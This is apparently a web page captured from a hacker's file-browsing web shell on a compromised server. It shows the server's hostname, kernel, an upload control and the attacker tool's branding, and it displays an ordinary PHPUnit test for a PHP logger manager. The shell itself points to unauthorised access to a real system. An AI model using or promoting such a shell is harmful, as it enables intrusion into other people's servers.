Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/vendor/consolidation/log/tests/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/vendor/consolidation/log/tests/LoggerManagerTests.php

<?php
namespace Consolidation\Log;

use Symfony\Component\Console\Output\BufferedOutput;
use Symfony\Component\Console\Output\OutputInterface;
use PHPUnit\Framework\TestCase;

class LoggerManagerTests extends TestCase
{
  protected $output;
  protected $logger;

  function testLoggerManager()
  {
    $fallbackOutput = new BufferedOutput();
    $fallbackOutput->setVerbosity(OutputInterface::VERBOSITY_DEBUG);
    $fallbackLogger = new Logger($fallbackOutput);
    $fallbackLogger->notice('This is the fallback logger');

    $primaryOutput = new BufferedOutput();
    $primaryOutput->setVerbosity(OutputInterface::VERBOSITY_DEBUG);
    $primaryLogger = new Logger($primaryOutput);
    $primaryLogger->notice('This is the primary logger');

    $replacementOutput = new BufferedOutput();
    $replacementOutput->setVerbosity(OutputInterface::VERBOSITY_DEBUG);
    $replacementLogger = new Logger($replacementOutput);
    $replacementLogger->notice('This is the replacement logger');

    $logger = new LoggerManager();

    $logger->notice('Uninitialized logger.');
    $logger->fallbackLogger($fallbackLogger);
    $logger->notice('Logger with fallback.');
    $logger->add('default', $primaryLogger);
    $logger->notice('Primary logger');
    $logger->add('default', $replacementLogger);
    $logger->notice('Replaced logger');
    $logger->reset();
    $logger->notice('Reset loggers');

    $fallbackActual = rtrim($fallbackOutput->fetch());
    $primaryActual = rtrim($primaryOutput->fetch());
    $replacementActual = rtrim($replacementOutput->fetch());

    $actual = "Fallback:\n====\n$fallbackActual\nPrimary:\n====\n$primaryActual\nReplacement:\n====\n$replacementActual";

    $actual = preg_replace('# *$#ms', '', $actual);
    $actual = preg_replace('#^ *$\n#ms', '', $actual);

    $expected = <<< __EOT__
Fallback:
====
 ! [NOTE] This is the fallback logger
 ! [NOTE] Logger with fallback.
 ! [NOTE] Reset loggers
Primary:
====
 ! [NOTE] This is the primary logger
 ! [NOTE] Primary logger
Replacement:
====
 ! [NOTE] This is the replacement logger
 ! [NOTE] Replaced logger
__EOT__;

    $this->assertEquals($expected, $actual);
  }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net